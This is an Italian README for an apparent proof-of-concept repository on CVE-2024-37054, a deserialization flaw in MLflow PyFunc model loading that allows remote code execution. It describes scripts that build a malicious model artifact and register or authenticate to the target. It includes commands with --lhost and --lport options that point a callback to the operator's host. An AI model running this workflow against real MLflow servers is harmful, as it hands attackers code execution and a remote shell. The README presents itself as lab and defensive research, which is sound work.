
Repository proof-of-concept e di ricerca per CVE-2024-37054, una vulnerabilità di deserializzazione non sicura nel caricamento dei modelli MLflow PyFunc che può portare all'esecuzione di codice in remoto.
Questo repository documenta la ricerca su CVE-2024-37054, un problema di deserializzazione non sicura che interessa la gestione dei modelli PyFunc di MLflow.
Nelle versioni di MLflow interessate, il caricamento di un modello PyFunc non attendibile può causare l'elaborazione, da parte della logica di deserializzazione di Python, di un oggetto serializzato contenente comportamento controllato dall'attaccante. Se viene caricato un artefatto non attendibile, il codice può essere eseguito con i permessi dell'utente o del servizio che esegue l'operazione di caricamento del modello.
Le versioni interessate riportate negli avvisi pubblici includono:
MLflow 0.9.0 through 2.14.1
Il rischio principale non è semplicemente "caricare un modello". Il pericolo si verifica quando un'applicazione, un analista, un worker o una piattaforma ML carica un artefatto di modello serializzato non attendibile.
L'impatto potenziale include:
build_model.py
Crea un artefatto di modello di test controllato per l'uso in un ambiente di laboratorio privato e autorizzato.
exploit.py
Automazione proof-of-concept privata utilizzata solo per validare il percorso della vulnerabilità in un ambiente di formazione autorizzato. Questo repository non include target attivi, credenziali, token di sessione, file di configurazione VPN o payload distruttivi.
Esegui questo proof of concept solo in un ambiente di laboratorio autorizzato.
Crea l'artefatto di modello controllato:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Se non disponi già di una sessione autenticata, usa la modalità di registrazione automatica:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Questa modalità crea un account di laboratorio temporaneo, si autentica all'applicazione e prosegue con il flusso di lavoro di registrazione e validazione del modello.
Se disponi già di una sessione autorizzata valida, passala direttamente:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Sostituisci:
<YOUR_IP> con l'indirizzo IP raggiungibile dal target di laboratorio autorizzato.4444 con la porta di ascolto utilizzata nel tuo laboratorio.<SESSION_TOKEN> con il valore della tua sessione autorizzata attiva.Non pubblicare mai token di sessione reali, credenziali, file VPN, indirizzi dei target o dettagli di callback.
Le organizzazioni che utilizzano MLflow dovrebbero trattare gli artefatti dei modelli come input non attendibile, a meno che la loro origine e integrità non siano state verificate.
Salvaguardie raccomandate:
Questo progetto è destinato esclusivamente alla ricerca difensiva, all'educazione e ai test di sicurezza autorizzati. Il flusso di lavoro proof-of-concept è stato valutato esclusivamente in un ambiente di formazione controllato. Non testare questa vulnerabilità contro sistemi, account, servizi o reti senza esplicita autorizzazione scritta.